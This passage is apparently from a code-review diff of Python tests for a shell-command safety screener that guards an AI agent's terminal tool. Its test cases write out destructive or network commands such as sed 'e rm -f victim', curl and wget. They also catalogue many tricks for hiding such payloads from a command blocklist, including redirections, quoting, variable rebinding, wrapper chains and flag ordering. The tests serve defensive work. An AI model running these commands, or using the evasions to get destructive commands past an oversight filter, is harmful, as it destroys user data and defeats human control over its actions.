# --- run: the ordinary idioms carry their program, and the placeholder
# stands where the FILE goes ---
("find . -name '*.py' | xargs sed -i 's/a/b/g'", False),
("find . -name '*.py' | xargs -I{} sed -i 's/a/b/' {}", False),
("ls | xargs sed -n '1,3p'", False),
# --- prompt: only a word that really changes SHELL state rebinds a sed
# program; an argument, a subshell or an env prefix leaves it alone ---
("""p='1e rm -f victim'; echo p='1,3p'; sed "$p" input""", True),
("""p='1e rm -f victim'; (p='1,3p'); sed "$p" input""", True),
("""p='1e rm -f victim'; env p='1,3p' sed "$p" input""", True),
("""p='1e rm -f victim'; false && p='1,3p'; sed "$p" input""", True),
# --- run: a real later assignment still wins ---
("""p='1e rm -f victim'; p='1,3p'; sed "$p" input""", False),
# --- prompt: the shell removes a redirection wherever it sits, so an
# -e whose value looks like one takes the word BEHIND it as the script,
# and the target itself may look like an option or a quoted operator ---
("sed -n -e >out '1e rm -f victim' input", True),
("sed > --sandbox '1e rm -f victim' input", True),
("sed > ';' '1e rm -f victim' input", True),
# --- prompt: a late program flag and the positional are ALTERNATIVES,
# so an unterminated command in one no longer swallows the other ---
("sed '1e rm -f victim' input -e safe", True),
# --- prompt: find batches only at a real `{} +`, so a `+` elsewhere is
# an argument it hands the child ---
("find . -type f -exec sed -n '+' -e '1e rm -f victim' {} +", True),
# --- run: the `;` twin really does end the action, however spelled ---
("find . -exec sed -n ';' -e '1e rm -f victim' {} \\;", False),
# --- prompt: an -f naming a stream takes the script off stdin ---
("sed -f - input", True),
("sed --file=/dev/stdin input", True),
# --- run: a named program file is unreadable in a different way ---
("sed -f prog.sed input", False),
# --- prompt: bash expands the program word before sed is started ---
("sed *", True),
("sed -e *.sed input", True),
# --- run: a quoted program expands nothing, and a glob among the FILE
# operands is not the program ---
("sed 's/a*/b/' f", False),
("sed -n '1,3p' *.txt", False),
("sed -i 's/x*/y/g' src/*.py", False),
# --- prompt: ANSI-C decoding keeps the newline a sed comment ends at,
# and the spaces and `#` around it, so the payload behind one is read ---
("sed -n $'# harmless\\ne rm -f victim' input", True),
("sed -n $'1,3p' input", False),
# --- prompt: an assignment inside a function body bash has not run is
# not the current value, so the name is cleared rather than guessed ---
("""p='1e rm -f victim'; f() { p='1,3p'; }; sed "$p" input""", True),
# --- prompt: an -f taking a process substitution is a generated
# /dev/fd/N script, which is unread rather than absent ---
("sed -f <(printf 'e rm -f victim') input", True),
("sed --file=<(printf 'e rm -f victim') input", True),
# --- prompt: shlex removes the escaping, so a live expansion has to be
# matched in the same representation the token carries ---
('sed "`printf \\"1e rm -f victim\\"`" input', True),
# --- run: an escaped expansion is data the program merely quotes ---
('sed "s/\\$(CC)/gcc/" Makefile', False),
# --- prompt: find rewrites `{}` before the child starts, so it is not
# a program that was read ---
("printf 'input\\n' | find '1e rm -f victim' -exec xargs sed {} +", True),
("find . -exec sed {} +", True),
# --- run: a `{}` among the FILE operands is the ordinary idiom ---
("find . -exec sed -n '1,3p' {} +", False),
("find . -exec sed -i 's/a/b/' {} +", False),
# --- prompt: a QUOTED redirection is a word the command receives ---
("sed -f '>prog' -e '1e rm -f victim' input", True),
("sed 2>'/dev/null' '1e rm -f victim' input", True),
# --- run: an operand that merely starts with one ---
("sed -n '1,3p' '>notes'", False),
# --- prompt: an apostrophe no longer sends the ANSI-C word down the
# flattening path that destroys the newline ending a sed comment ---
("sed -n $'# it\\'s harmless\\ne rm -f victim' input", True),
# --- prompt: fd takes the command attached to its SHORT exec option ---
("fd '^victim$' /tmp/work -xrm", True),
("fd '^victim$' . -Xrm", True),
# --- run: nothing behind a bare `--` is an option, so a pattern named
# `-x` merely lists the file it matches ---
("fd -- -x rm", False),
# --- run: an expansion another command performs is not this program's,
# so a single-quoted one that only spells the same thing stays silent ---
("""echo "$p"; sed 's/$p/x/' f""", False),
# --- prompt: fd runs its -x / -X / --exec / --exec-batch child
# directly, the same way find runs an -exec one ---
("fd -x sed '1e rm -f victim' {}", True),
("fd --exec sed '1e rm -f victim' {}", True),
("fd -X sed '1e rm -f victim' {}", True),
("fd --exec-batch sed '1e rm -f victim' {}", True),
("fd -x env sed '1e rm -f victim' {}", True),
("fd -x sed -n '1,3p' {}", False),
("fd . -x wc -l {}", False),
# those letters belong to too many other tools to read a neighbour of
# them as a command, so they only count while find/fd is in scope and no
# action is open yet
("grep -x rm file", False),
# --- prompt: a wrapper chain longer than the hop budget leaves the
# command find really runs UNREAD, which is not the same as there being
# none. Verified: `find . -exec` + 33 `env` + `sed '1e touch MARKER' {}
# +` creates MARKER ---
("find . -exec " + "env " * 33 + "sed '1e rm -f victim' {} +", True),
("find . -exec " + "env " * 8 + "sed '1e rm -f victim' {} +", True),
("find . -exec " + "env " * 8 + "sed -n '1,3p' {} +", False),
# --- prompt: a wrapper option whose value is a SEPARATE token consumes
# that token, so the command behind it is the one that runs. Without
# that, `env -u FOO sed ...` reported FOO as the command ---
("find . -exec env -u FOO sed '1e rm -f victim' {} +", True),
("find . -exec env --unset FOO sed '1e rm -f victim' {} +", True),
("find . -exec stdbuf -o L sed '1e rm -f victim' {} +", True),
("find . -exec nice -n 5 sed '1e rm -f victim' {} +", True),
("find . -exec timeout -s KILL 5 sed '1e rm -f victim' {} +", True),
("find . -exec env -u FOO sed -n '1,3p' {} +", False),
("find . -exec stdbuf -o L sed -n '1,3p' {} +", False),
# --- prompt: a script held in a VARIABLE is only a program once the
# reference is resolved, and only the pass that keeps the quoted newline
# sees the comment end (the blanket one reads the whole value as one
# long comment, which is genuinely inert there) ---
("p='# harmless\ne rm -f victim'; sed \"$p\" input", True),
("p='# harmless\ne rm -f victim'; sed \"${p}\" input", True),
('p=e; sed "$p rm -f victim" input', True),
("p='1,3p'; sed -n \"$p\" input", False),
("p='s/old/new/g'; sed \"$p\" input", False),
("p='# harmless'; sed \"$p\" input", False),
# ...and the binding bash uses is the one performed most recently BEFORE
# the reference. Folding the line into a first-wins map kept the
# earliest instead, so an innocent first assignment hid the real
# program: verified that `p='1,3p'; p='1e touch MARKER'; sed "$p" input`
# creates MARKER, while the reverse order is genuinely inert
("p='1,3p'; p='1e rm -f victim'; sed \"$p\" input", True),
("p='s/a/b/'; p='1e rm -f victim'; sed \"$p\" input", True),
("p='1e rm -f victim'; p='1,3p'; sed \"$p\" input", False),
("p='1,3p'; p='s/a/b/'; sed \"$p\" input", False),
# only the assignments AHEAD of a sed can reach it, so a later one does
# not disarm an earlier program (verified: this creates MARKER too)
("p='1e rm -f victim'; sed \"$p\" input; p='1,3p'", True),
# a non-literal reassignment CLEARS the name instead of leaving the
# stale earlier value standing, so the program is unread and asks
("p='1,3p'; p=$(printf '1e rm -f victim'); sed \"$p\" input", True),
# each sed on the line is judged against its own scope
("p='1,3p'; sed \"$p\" f; p='1e rm -f victim'; sed \"$p\" f", True),
("p='1,3p'; sed \"$p\" f; p='s/a/b/'; sed \"$p\" f", False),
# --- prompt: bash resolves a command-position GLOB after this scan, so
# a pattern that could be sed is treated as sed ---
("/usr/bin/s[e]d '1e rm -f victim' input", True),
("/usr/bin/s*d '1e rm -f victim' input", True),
# any command glob already asks, sed or not, so this one is not a claim
# about the script -- it is the blanket fail-closed rule
("/usr/bin/s[e]d -n '1,3p' input", True),
# --- run: inside double quotes a backslash quotes `$` and a backtick,
# so `\$(CC)` is a literal dollar and opens no substitution. Reading it
# as one made an everyday Makefile edit ask; real bash passes it through
# and sed executes nothing (verified: it prints CC=cc) ---
('sed "s/\\$(CC)/gcc/" Makefile', False),
('sed -i "s/\\$(PREFIX)/opt/" Makefile', False),
('sed "s/\\`date\\`/x/" NOTES.md', False),
('sed "s/x/\\$(y)/" f', False),
# ...but an UNescaped one still generates the program, and a doubled
# backslash is a literal backslash followed by a LIVE substitution
('sed "s/@X@/$(date)/" f', True),
("sed \"\\\\$(printf 'e rm -f victim')\" input", True),
# --- prompt: setpriv execs what follows, after changing privilege ---
("setpriv --nnp rm -f victim", True),
("setpriv --reuid=1000 rm -rf build", True),

584
studio/backend/tests/test_sandbox_tools.py
View file

@ -13,7 +13,7 @@ _BACKEND_ROOT = Path(__file__).resolve().parents[1]
if str(_BACKEND_ROOT) not in sys.path:
sys.path.insert(0, str(_BACKEND_ROOT))
from core.inference.tools import _check_code_safety
from core.inference.tools import _check_code_safety, is_high_risk_tool_call
def _ok(code: str):
@ -637,6 +637,588 @@ class TestBashBlocklistPosition:
# Recursion into the nested command string catches command-position curl.
assert "curl" in self._find()("bash -c 'curl https://x'")
def test_sed_exec_payload_blocked(self):
# sed's `e COMMAND` hands COMMAND to the shell, so the payload is a real
# command position hiding inside the script argument.
assert "rm" in self._find()("sed -n '1e rm -rf victim' input")
assert "curl" in self._find()("sed -e '/x/e curl https://x' input")
assert "rm" in self._find()("sed -ne '$e rm -rf build' input")
assert "wget" in self._find()("sed '1,2e wget https://bad' input")
def test_sed_exec_payload_continues_past_backslash(self):
# An `e` payload whose line ends in a backslash carries onto the NEXT
# line, which reaches the same shell, so the scan must not stop at the
# newline. Quote splitting (r''m) hides the name from the raw-text
# fallback, leaving the parsed payload as the only place rm shows up.
assert "rm" in self._find()("sed -n '1e\\\nrm -f victim' f")
assert "rm" in self._find()("sed -n '1e\\\nr''m -f victim' f")
assert "rm" in self._find()("sed -n '1e touch a\\\nrm -f victim' f")
# A backslash before an ordinary character drops away: r\m runs rm.
assert "rm" in self._find()("sed 'e r\\m -f victim' f")
def test_sed_comment_ends_at_newline(self):
# A sed comment runs to a real newline, so an `e` on the line after one
# is a command; with a literal `;` it is still all comment.
assert "rm" in self._find()("sed '# harmless\ne rm -f victim' input")
assert "curl" in self._find()("sed 's/a/b/w out.txt\ne curl https://x' input")
assert self._find()("sed '# harmless;e rm -f victim' input") == set()
def test_sed_attached_i_suffix_does_not_hide_the_script(self):
# Everything glued to -i is the backup suffix, so `-ifoo` is not an
# attached -f and the script is still the positional ahead. -l and
# --line-length take an operand that is likewise not the script.
assert "rm" in self._find()("sed -ifoo '1e rm -f victim' input")
assert "rm" in self._find()("sed -itemp '1e rm -f victim' input")
assert "curl" in self._find()("sed -ni.bak '1e curl https://x' input")
assert "rm" in self._find()("sed -l 5 '1e rm -f victim' input")
assert "rm" in self._find()("sed --line-length 5 '1e rm -f victim' input")
assert self._find()("sed -ifoo 's/old/new/g' input") == set()
assert self._find()("sed -l 80 -n '1,20p' input") == set()
def test_sed_under_find_exec_blocked(self):
# find runs its -exec child directly, but the command-position walk only
# reaches `find`, so the nested sed needs its script read explicitly.
assert "rm" in self._find()("find . -exec sed '1e rm -f victim' {} +")
assert "curl" in self._find()("find . -execdir sed '1e curl https://x' {} \\;")
assert self._find()("find . -exec sed -n '1,3p' {} +") == set()
def test_sed_under_find_exec_wrapper_blocked(self):
# env/timeout/nice forward -exec to their target, so the sed behind one
# is the process find really runs. Only the token right after the flag
# used to be read, which hid the whole invocation from this scan.
assert "rm" in self._find()("find . -exec env sed '1e rm -f victim' {} +")
assert "rm" in self._find()("find . -exec timeout 5 sed '1e rm -f victim' {} +")
assert "rm" in self._find()("find . -exec nice sed '1e rm -f victim' {} +")
assert "rm" in self._find()("find . -exec env A=b sed '1e rm -f victim' {} +")
assert "curl" in self._find()("find . -execdir env sed '1e curl https://x' {} \\;")
# The same hop resolves the plain blocked-name check on that line, which
# a wrapper hid just as effectively.
assert "rm" in self._find()("find . -exec env rm -rf build {} +")
assert "curl" in self._find()("find . -exec timeout 5 curl https://x {} +")
assert "rm" in self._find()("find . -exec xargs rm -rf build {} +")
# A wrapper is a command in its own right as well as a step on the way
# to one, so hopping it must not drop its own blocked name.
assert "sudo" in self._find()("find . -exec sudo ls {} +")
assert self._find()("find . -exec sudo rm -rf x {} +") >= {"sudo", "rm"}
assert "su" in self._find()("find . -exec su root {} +")
assert self._find()("find . -exec env sed -n '1,3p' {} +") == set()
assert self._find()("find . -exec env sed -i.bak 's/a/b/' {} +") == set()
def test_sed_script_past_the_scan_window_fails_closed(self):
# A flat argument cap was padding the caller controls: 128 valid options
# pushed the real script one token out of view and the screen came back
# empty. A lone sed now reads its whole argument list...
assert "rm" in self._find()("sed " + "-n " * 128 + "'1e rm -f victim' input")
assert "rm" in self._find()("sed " + "-n " * 300 + "'1e rm -f victim' input")
assert "rm" in self._find()("sed " + "-n " * 128 + "-e '1e rm -f victim' input")
assert self._find()("sed " + "-n " * 300 + "'1,3p' input") == set()
# ...while a line packed with sed words keeps the per-invocation floor
# that holds the total walk linear. Running out of window there means the
# program was never read, so the sed itself is blocked rather than an
# empty result being taken as proof it only edits text.
assert "sed" in self._find()("find . " + "-exec sed " * 1000 + "-n " * 200)
def test_sed_sandbox_and_posix_modes_not_blocked(self):
# --sandbox disables e/r/w and --posix drops the GNU extension `e`
# belongs to: sed exits 1 without running anything, so blocking a name
# from inside the payload was a false alarm. Abbreviations included.
assert self._find()("sed --sandbox '1e rm -f victim' input") == set()
assert self._find()("sed --posix '1e rm -f victim' input") == set()
assert self._find()("sed --sa '1e rm -f victim' input") == set()
assert self._find()("sed --p '1e rm -f victim' input") == set()
assert self._find()("sed --sandbox -e '1e rm -f victim' input") == set()
assert self._find()("sed --sandbox --expression='1e rm -f victim' input") == set()
assert self._find()("sed --sandbox -- '1e rm -f victim' input") == set()
assert self._find()("sed -e '2d' --sandbox -e '1e rm -f victim' input") == set()
def test_sed_sandbox_only_covers_the_scripts_written_after_it(self):
# sed compiles each -e/-f script as that option is parsed, so a script
# already compiled runs whatever a later flag says. Verified on GNU sed
# 4.9: `sed -e '1e touch MARKER' --sandbox input` creates MARKER and
# exits 0. Treating the flag as invocation-wide unblocked all of these.
assert "rm" in self._find()("sed -e '1e rm -f victim' --sandbox input")
assert "rm" in self._find()("sed -e '1e rm -f victim' input --sandbox")
assert "rm" in self._find()("sed --expression='1e rm -f victim' --sandbox input")
assert "rm" in self._find()("sed -e '1e rm -f victim' --sandbox -e '2d' input")
# One after the POSITIONAL script suppresses only while getopt permutes,
# which POSIXLY_CORRECT turns off from outside the text being screened,
# so a later flag never counts: `POSIXLY_CORRECT=1
# sed '1e touch MARKER' input --sandbox` creates MARKER.
assert "rm" in self._find()("sed '1e rm -f victim' input --sandbox")
assert "rm" in self._find()("sed '1e rm -f victim' --sandbox input")
assert "rm" in self._find()("sed '1e rm -f victim' input --posix")
assert "rm" in self._find()("POSIXLY_CORRECT=1 sed '1e rm -f victim' input --sandbox")
# An ordinary edit yields no payload wherever the flag sits, so the
# stricter reading costs nothing outside programs that already exec.
assert self._find()("sed -n '1,3p' input --sandbox") == set()
assert self._find()("sed 's/a/b/g' input --posix") == set()
# `--` ends option parsing, so a --sandbox behind it is an input
# FILENAME: the mode never turns on and the payload runs for real.
assert "rm" in self._find()("sed -- '1e rm -f victim' input --sandbox")
assert "rm" in self._find()("sed '1e rm -f victim' -- input --sandbox")
assert "rm" in self._find()("sed -e '1e rm -f victim' -- input --sandbox")
# An ambiguous (--s) or `=`-carrying spelling is a usage error, not the
# mode, so it keeps blocking.
assert "rm" in self._find()("sed --s '1e rm -f victim' input")
assert "rm" in self._find()("sed --sandbox=1 '1e rm -f victim' input")
def test_sed_scan_stops_at_the_find_exec_terminator(self):
# `-exec CMD ... +` / `... ;` is a COMPLETE action, so the next
# predicate's words are not sed's. Running past the terminator read the
# following `-exec grep -e safe` as a sed `-e` program flag, which
# discarded the real positional script and left the screen empty.
assert "rm" in self._find()(
"find . -exec sed '1e rm -f victim' {} + -exec grep -e safe {} +"
)
assert "rm" in self._find()(
"find . -exec sed '1e rm -f victim' {} \\; -exec grep -e safe {} \\;"
)
assert "rm" in self._find()(
"find . -exec grep -e safe {} + -exec sed '1e rm -f victim' {} +"
)
assert "curl" in self._find()(
"find . -execdir sed '1e curl https://x' {} + -exec grep -e safe {} +"
)
assert self._find()("find . -exec sed -n '1,3p' {} + -exec grep -e safe {} +") == set()
def test_quoted_separator_operand_does_not_end_the_sed_scan(self):
# shlex strips the quoting, so a sed FILE operand spelled `';'` arrives
# as the token a separator does, and stopping there threw away the `-e`
# behind it: `sed -n ';' -e '1e touch MARKER' input` creates MARKER, and
# the `'+'` twin does the same.
assert "rm" in self._find()("sed -n ';' -e '1e rm -f victim' input")
assert "rm" in self._find()("sed -n '+' -e '1e rm -f victim' input")
assert "rm" in self._find()("sed ';' -e '1e rm -f victim' input")
assert "rm" in self._find()("sed '+' -e '1e rm -f victim' input")
assert "rm" in self._find()("sed -n '&' -e '1e rm -f victim' input")
assert "rm" in self._find()("sed -n '|' -e '1e rm -f victim' input")
assert "rm" in self._find()("sed -n '(' -e '1e rm -f victim' input")
assert "curl" in self._find()("sed -n ';' -e '1e curl https://x' input")
# A BARE separator really did end the invocation, so the words after it
# belong to the next command and not to sed.
assert self._find()("sed -n '1,3p' input; grep -e safe input") == set()
assert "rm" in self._find()("sed -n '1,3p' input; rm -rf build")
# ...and the same operand in front of an ordinary program stays silent.
assert self._find()("sed -n ';' -e '1,3p' input") == set()
assert self._find()("sed -n '+' -e '1,3p' input") == set()
def test_redirection_is_not_the_sed_script(self):
# The shell performs a redirection and removes it, so sed never receives
# those words -- but they stayed in the token list and the first of them
# was taken for the positional script, which left the real one unread.
# Verified on GNU sed 4.9 with a `touch MARKER` payload: every form
# below creates MARKER.
assert "rm" in self._find()("sed </dev/null '1e rm -f victim' input")
assert "rm" in self._find()("sed < /dev/null '1e rm -f victim' input")
assert "rm" in self._find()("sed > out.txt '1e rm -f victim' input")
assert "rm" in self._find()("sed 2>/dev/null '1e rm -f victim' input")
assert "rm" in self._find()("sed 2>&1 '1e rm -f victim' input")
assert "rm" in self._find()("sed &>out.txt '1e rm -f victim' input")
assert "rm" in self._find()("sed >|out.txt '1e rm -f victim' input")
assert "rm" in self._find()("sed <<< 'aaa' '1e rm -f victim'")
# A redirection may also precede a command word outright, and reading
# its target as that word left the real command in argument position:
# `> out.txt rm -rf victim` and `2>&1 rm -rf victim` both really delete.
assert "rm" in self._find()("> out.txt rm -rf victim")
assert "rm" in self._find()("2>&1 rm -rf victim")
assert "rm" in self._find()("echo hi; >log rm -rf victim")
# A bare `&` is still a separator wherever a redirection does not follow.
assert "rm" in self._find()("echo hi & rm -rf victim")
# Ordinary redirected work stays silent.
assert self._find()("sed -n '1,3p' input > out.txt") == set()
assert self._find()("sed 's/a/b/g' input 2>/dev/null") == set()
assert self._find()("sed -n '1,3p' < input") == set()
def test_compound_operator_ends_the_sed_scan(self):
# shlex's punctuation_chars emits a RUN of operator characters as one
# token, so bash's `|&` arrived as a word no separator test matched and
# the scan ran on into the NEXT command -- taking `grep -e safe` for the
# real script and dropping the payload. Verified: the line runs rm.
assert "rm" in self._find()("sed '1e rm -f victim' input |& grep -e safe")
assert "rm" in self._find()("sed -n '1,3p' f |& sed -e '1e rm -f victim' g")
assert "rm" in self._find()("echo hi |& rm -rf victim")
# ...while a quoted one is a sed FILE operand and must not end it, the
# same way a quoted `';'` does not (`sed -n '|&' -e '1e rm -f victim'
# input` really runs rm: with -e present the operand is just a file).
assert "rm" in self._find()("sed -n '|&' -e '1e rm -f victim' input")
# Benign pipelines keep running silently.
assert self._find()("sed -n '1,3p' input |& grep -e safe") == set()
assert self._find()("grep -r pattern . |& head -5") == set()
def test_script_file_source_ends_a_continuation(self):
# A source BOUNDARY closes any continuation open across it, so reading
# every -e as one uninterrupted text let an unreadable -f in the middle
# hide a payload: `sed -e '1a\' -f /dev/null -e 'e touch MARKER' input`
# creates MARKER while the same line without the -f does not.
assert "rm" in self._find()(r"sed -e '1a\' -f /dev/null -e 'e rm -f victim' input")
assert "rm" in self._find()(r"sed -e '1a\' -f/dev/null -e 'e rm -f victim' input")
assert "rm" in self._find()(r"sed -e '1a\' --file=/dev/null -e 'e rm -f victim' input")
# ...and with no source boundary the continuation still swallows it.
assert self._find()(r"sed -e '1a\' -e 'e rm -f victim' input") == set()
def test_program_flag_behind_the_positional_script(self):
# A program flag AHEAD of the positional makes that word an input file.
# One BEHIND it does so only while getopt permutes, so the positional is
# still the script: `POSIXLY_CORRECT=1 sed '1e touch MARKER' input
# -f /dev/null` creates MARKER, as does the `-e p` twin.
assert "rm" in self._find()("sed '1e rm -f victim' input -f /dev/null")
assert "rm" in self._find()("sed '1e rm -f victim' input -e p")
# A flag written FIRST really does demote the positional to a file.
assert self._find()("sed -e p '1e rm -f victim' input") == set()
assert self._find()("sed -f /dev/null '1e rm -f victim' input") == set()
# An ordinary positional read as an extra script yields no payload.
assert self._find()("sed p data.txt -e q") == set()
def test_xargs_supplied_sed_program_fails_closed(self):
# xargs appends what it reads on stdin to the command it builds, and
# with -I substitutes it into the words already there, so the program
# need not be in the text at all. Both of these run rm for real:
# `printf '1e rm -f victim\0input\0' | xargs -0 sed` and
# `printf '1e rm -f victim\n' | xargs -I{} sed '{}' input`.
assert "sed" in self._find()(r"printf '1e rm -f victim\0input\0' | xargs -0 sed")
assert "sed" in self._find()(r"printf '1e rm -f victim\n' | xargs -I{} sed '{}' input")
assert "sed" in self._find()(r"printf 'x\n' | xargs -I R sed 'R' input")
assert "sed" in self._find()(r"printf 'x\n' | xargs --replace=R sed 'R' input")
# The ordinary idioms carry their program and put the placeholder where
# the FILE goes, so they keep running.
assert self._find()("find . -name '*.py' | xargs sed -i 's/a/b/g'") == set()
assert self._find()("find . -name '*.py' | xargs -I{} sed -i 's/a/b/' {}") == set()
assert self._find()("ls | xargs sed -n '1,3p'") == set()
def test_only_a_real_assignment_rebinds_a_sed_program(self):
# An assignment-shaped word that is not a shell-state assignment leaves
# `$p` exactly as it was, and recording it overwrote a payload with an
# innocent value bash never assigned. All four of these run rm for real.
payload = "p='1e rm -f victim'"
assert "rm" in self._find()(f"""{payload}; echo p='1,3p'; sed "$p" input""")
assert "rm" in self._find()(f"""{payload}; (p='1,3p'); sed "$p" input""")
assert "rm" in self._find()(f"""{payload}; env p='1,3p' sed "$p" input""")
# A real later assignment still wins, in both orders.
assert self._find()(f"""{payload}; p='1,3p'; sed "$p" input""") == set()
assert "rm" in self._find()("""p='1,3p'; p='1e rm -f victim'; sed "$p" input""")
def test_exec_flags_only_forward_from_a_command_word(self):
# Any token spelled `fd` or `find` used to turn on exec-flag
# forwarding, so a `-x` or `-exec` in the text after it was read as an
# exec flag and its neighbour hard-blocked. These lines run nothing.
assert self._find()("echo fd -x rm") == set()
assert self._find()("grep fd -x rm file") == set()
assert self._find()("printf '%s' find -exec sed '1e rm -f victim' {} +") == set()
assert self._find()("echo run: find . -exec rm {} \\;") == set()
# A find/fd the shell really runs still forwards, including through a
# wrapper and under a command-position glob bash resolves to one.
assert "rm" in self._find()("find . -exec rm {} \\;")
assert "rm" in self._find()("sudo find . -exec rm {} \\;")
assert "rm" in self._find()("/usr/bin/fin[d] . -exec rm {} \\;")
assert "rm" in self._find()("fd -x rm -rf x")
def test_redirection_standing_where_an_option_value_goes(self):
# The shell removes a redirection wherever it sits, so an `-e` whose
# value looks like one takes the word BEHIND it as the script:
# `sed -n -e >out '1e touch MARKER' input` really runs the payload.
assert "rm" in self._find()("sed -n -e >out '1e rm -f victim' input")
assert "rm" in self._find()("sed -n -e > out '1e rm -f victim' input")
# ...and the target itself may look like an option or a quoted operator,
# since the shell hands it to open() rather than to sed. Both of these
# execute for real.
assert "rm" in self._find()("sed > --sandbox '1e rm -f victim' input")
assert "rm" in self._find()("sed > ';' '1e rm -f victim' input")
assert "rm" in self._find()("sed > -n '1e rm -f victim' input")
def test_late_program_flag_and_the_positional_are_alternatives(self):
# Which of the two sed compiles depends on permutation, so they are
# alternatives rather than one program. Joining them let an unterminated
# command in the one swallow the other: `safe` is `s` with delimiter `a`
# and no closing one, and it ate the positional payload behind it while
# `POSIXLY_CORRECT=1 sed '1e touch MARKER' input -e safe` really runs.
assert "rm" in self._find()("sed '1e rm -f victim' input -e safe")
assert "rm" in self._find()("sed '1e rm -f victim' input -e p")
def test_find_batches_only_at_a_real_plus_terminator(self):
# find closes the batched form at `{} +` only, so a `+` anywhere else is
# an argument it hands the child: `find . -exec sed -n '+' -e
# '1e touch MARKER' {} +` really runs the payload, while the `;` twin
# does not, because a quoted `';'` reaches find as the same word `\\;`
# does and find stops at either.
assert "rm" in self._find()("find . -type f -exec sed -n '+' -e '1e rm -f victim' {} +")
assert self._find()("find . -exec sed -n ';' -e '1e rm -f victim' {} \\;") == set()
# A real terminator still ends the action, so the next predicate's `-e`
# does not replace the script of the sed in the first one.
assert self._find()("find . -exec sed -n '1,3p' {} + -exec grep -e safe {} +") == set()
assert "rm" in self._find()("find . -exec sed '1e rm -f victim' {} + -exec grep -e s {} +")
def test_sed_program_read_from_a_stream_fails_closed(self):
# An `-f` naming a stream takes the script off stdin, which the command
# text may carry itself: `sed -f - input <<EOF ... 1e touch MARKER ...
# EOF` really runs the payload while the screen found no program at all.
assert "sed" in self._find()("sed -f - input")
assert "sed" in self._find()("sed -f/dev/stdin input")
assert "sed" in self._find()("sed --file=/dev/stdin input")
assert "sed" in self._find()("sed -f /dev/fd/0 input")
# A named file is unreadable in a different way and stays as it was.
assert self._find()("sed -f prog.sed input") == set()
def test_glob_in_the_sed_program_position_fails_closed(self):
# bash expands the word after this scan, so in a directory holding a
# file named `1e rm -f victim` the program of `sed *` is that filename
# and rm really runs, while the screen saw only the literal `*`.
assert "sed" in self._find()("sed *")
assert "sed" in self._find()("sed * input")
assert "sed" in self._find()("sed -e *.sed input")
# A quoted program expands nothing, and a glob among the FILE operands
# is not the program at all.
assert self._find()("sed 's/a*/b/' f") == set()
assert self._find()("sed -n '1,3p' *.txt") == set()
assert self._find()("sed -i 's/x*/y/g' src/*.py") == set()
def test_ansi_c_newline_still_ends_a_sed_comment(self):
# ANSI-C decoding used to flatten the word's whitespace, and a sed
# program ends its COMMENT at exactly the newline that flattening
# destroyed: `sed -n $'# harmless\\ne touch MARKER' input` really runs
# the payload while the screen read one inert comment line.
assert "rm" in self._find()("sed -n $'# harmless\\ne rm -f victim' input")
assert self._find()("sed -n $'1,3p' input") == set()
# ...and the newline is still DATA rather than a place a command starts,
# so an ANSI-C word passed to another command runs nothing.
assert self._find()("printf '%s' $'hello\\nrm -rf x\\n'") == set()
def test_assignment_inside_a_function_body_does_not_persist(self):
# bash has not run the body, and may never run it, so the assignment in
# it is not the current value: `p='1e rm -f victim'; f() { p='1,3p'; };
# sed "$p" input` really runs rm. The name is cleared rather than
# guessed at, which is right whether or not the function is called.
payload = "p='1e rm -f victim'"
assert is_high_risk_tool_call(
"terminal", {"command": f"""{payload}; f() {{ p='1,3p'; }}; sed "$p" input"""}
)
# A plain later assignment outside any body still wins.
assert self._find()(f"""{payload}; p='1,3p'; sed "$p" input""") == set()
def test_exec_forwarding_survives_keywords_and_wrappers(self):
# Scoping the exec-flag scan to a command word must not lose command
# position at a shell keyword or across a wrapper's own operands.
assert "rm" in self._find()("if true; then find . -exec rm -rf victim {} +; fi")
assert "rm" in self._find()("for f in x; do find . -exec rm -rf victim {} +; done")
assert "rm" in self._find()("env -u FOO find . -exec rm -rf victim {} +")
assert "rm" in self._find()("timeout 5 find . -exec rm -rf victim {} +")
assert "rm" in self._find()("nice -n 5 find . -exec rm -rf victim {} +")
def test_quoted_operator_is_data_not_a_command_boundary(self):
# A quoted operator reaches the command as an argument, so the word
# behind it is not at command position: these lines run nothing.
assert self._find()("printf '%s' '|&' rm") == set()
assert self._find()("grep '|&' rm file") == set()
assert self._find()("printf '%s' ';;' curl") == set()
assert self._find()("printf '%s' ';' rm") == set()
# A BARE one still separates.
assert "rm" in self._find()("echo hi |& rm -rf victim")
assert "rm" in self._find()("echo hi; rm -rf victim")
def test_live_expansion_matched_after_the_lexer_unescapes_it(self):
# shlex removes the escaping as it splits, so the same expansion is
# spelled one way in the raw command and another in the token. An exact
# comparison missed, and a program bash really generates read as one
# already read: `sed "\\`printf \\"1e rm -f victim\\"\\`" input` executes.
assert is_high_risk_tool_call(
"terminal", {"command": 'sed "`printf \\"1e rm -f victim\\"`" input'}
)
# An escaped expansion is data the program merely quotes, and stays out.
assert not is_high_risk_tool_call("terminal", {"command": 'sed "s/\\$(CC)/gcc/" Makefile'})
def test_find_placeholder_is_not_a_sed_program(self):
# find rewrites `{}` with the pathname it found before the child starts,
# so it is not a program that was read: with a file named
# `1e rm -f victim`, `printf 'input' | find '1e rm -f victim' -exec
# xargs sed {} +` really runs rm.
assert "sed" in self._find()(
"printf 'input\\n' | find '1e rm -f victim' -exec xargs sed {} +"
)
assert "sed" in self._find()("find . -exec sed {} +")
# A `{}` among the FILE operands is the ordinary idiom and is untouched.
assert self._find()("find . -exec sed -n '1,3p' {} +") == set()
assert self._find()("find . -exec sed -i 's/a/b/' {} +") == set()
def test_quoted_redirection_operand_is_data(self):
# The shell performs a redirection and removes it, but a QUOTED one is a
# word it hands the command: with an empty file named `>prog`,
# `sed -f '>prog' -e '1e rm -f victim' input` takes it as the script
# FILE and really runs the payload behind it.
assert "sed" in self._find()("sed -f '>prog' -e '1e rm -f victim' input")
# A bare one is still a redirection, target quoting and all.
assert "rm" in self._find()("sed > out.txt '1e rm -f victim' input")
assert "rm" in self._find()("sed 2>'/dev/null' '1e rm -f victim' input")
# ...and a quoted operand that merely starts with one runs silently.
assert self._find()("sed -n '1,3p' '>notes'") == set()
def test_ansi_c_apostrophe_keeps_the_program_intact(self):
# An apostrophe in the decoded word used to send it down the flattening
# path, which destroys the newline a sed comment ends at:
# `sed -n $'# it\\'s harmless\\ne rm -f victim' input` really runs rm.
assert "rm" in self._find()("sed -n $'# it\\'s harmless\\ne rm -f victim' input")
assert self._find()("printf '%s' $'it\\'s fine\\nrm -rf x'") == set()
def test_fd_attached_and_end_of_option_exec_flags(self):
# fd takes the command attached to the short option, and only the exact
# spellings opened an action: `fd '^victim$' . -xrm` deletes the match
# for real (checked on fdfind 9.0.0).
